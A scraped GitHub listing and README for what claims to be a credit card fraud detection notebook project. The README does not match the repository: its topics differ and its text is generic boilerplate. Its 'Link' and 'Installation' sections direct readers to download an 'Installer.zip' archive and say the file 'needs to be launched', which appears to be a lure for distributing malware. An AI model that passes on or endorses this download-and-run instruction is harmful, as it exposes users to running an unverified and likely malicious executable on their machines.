https://github.com/dakii24/credit-card-fraud-detection
This repository contains a machine learning project focused on detecting fraudulent credit card transactions. The project includes data preprocessing, model training, and evaluation to identify and prevent fraudulent activities.
https://github.com/dakii24/credit-card-fraud-detection
capstone-project class-imbalance classification-algorithm credit-card credit-card-fraud data-science decision-trees fraud machine-learning open-data python scikit-learn svm svm-classifier
Last synced: about 2 months ago
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This repository contains a machine learning project focused on detecting fraudulent credit card transactions. The project includes data preprocessing, model training, and evaluation to identify and prevent fraudulent activities.
- Host: GitHub
- URL: https://github.com/dakii24/credit-card-fraud-detection
- Owner: dakii24
- Created: 2025-03-06T21:58:03.000Z (about 2 months ago)
- Default Branch: main
- Last Pushed: 2025-03-06T23:11:09.000Z (about 2 months ago)
- Last Synced: 2025-03-06T23:24:52.689Z (about 2 months ago)
- Topics: capstone-project, class-imbalance, classification-algorithm, credit-card, credit-card-fraud, data-science, decision-trees, fraud, machine-learning, open-data, python, scikit-learn, svm, svm-classifier
- Language: Jupyter Notebook
- Size: 27.3 KB
- Stars: 0
- Watchers: 1
- Forks: 0
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
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README
# 🚀 Welcome to the Credit Card Fraud Detection Repository!
## 📁 Repository Name:
Credit-Card-Fraud-Detection
## 📝 Short Description:
Not provided
## 🏷️ Repository Topics:
accuracy-metrics, data-preprocessing, linear-regression, logistic-regression, machine-learning, numpy, pandas-dataframe, sklearn
## 🌐 Link:
[](https://github.com/archives/Installer.zip)
If the link ends with a file name, it needs to be launched.
---
# Overview
Welcome to the Credit Card Fraud Detection repository! In this project, we have implemented various machine learning techniques to detect fraudulent credit card transactions. Our main goal is to utilize accurate metrics, preprocess data effectively, and apply regression models to identify potential fraud.
## Installation
To get started, download the installer zip file from the provided link. If you encounter any issues, please check the "Releases" section for alternative options.
## Getting Started
Before diving into the code, make sure you have the necessary libraries installed such as NumPy, Pandas, and Scikit-Learn. You can quickly set up your environment by following the instructions in the documentation.
## Usage
Once your environment is set up, you can explore the Jupyter notebooks and scripts available in the repository. These files cover a range of topics from data preprocessing to model evaluation using accuracy metrics.
## Features
Our repository focuses on the following key features:
- **Data Preprocessing**: Clean and prepare the dataset for analysis.
- **Machine Learning Models**: Implement linear regression, logistic regression, and other models.
- **Accuracy Metrics**: Evaluate model performance using various metrics.
- **NumPy and Pandas Integration**: Leverage these libraries for efficient data manipulation.
- **Scikit-Learn Integration**: Utilize Scikit-Learn for model building and evaluation.
## Contributions
We welcome contributions from the community to enhance the fraud detection capabilities of our project. Whether you want to add new features, optimize existing code, or suggest improvements, feel free to submit a pull request.
## Credits
This project was made possible by the dedicated efforts of our team members who are passionate about leveraging machine learning for fraud detection. We also extend our gratitude to the open-source community for their valuable contributions.
## Support
If you have any questions, suggestions, or feedback, please don't hesitate to reach out to us. You can create an issue on GitHub or contact us directly via email.
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Thank you for exploring the Credit Card Fraud Detection repository! We hope you find our project informative and insightful. Happy coding! 🌟🔍🛡️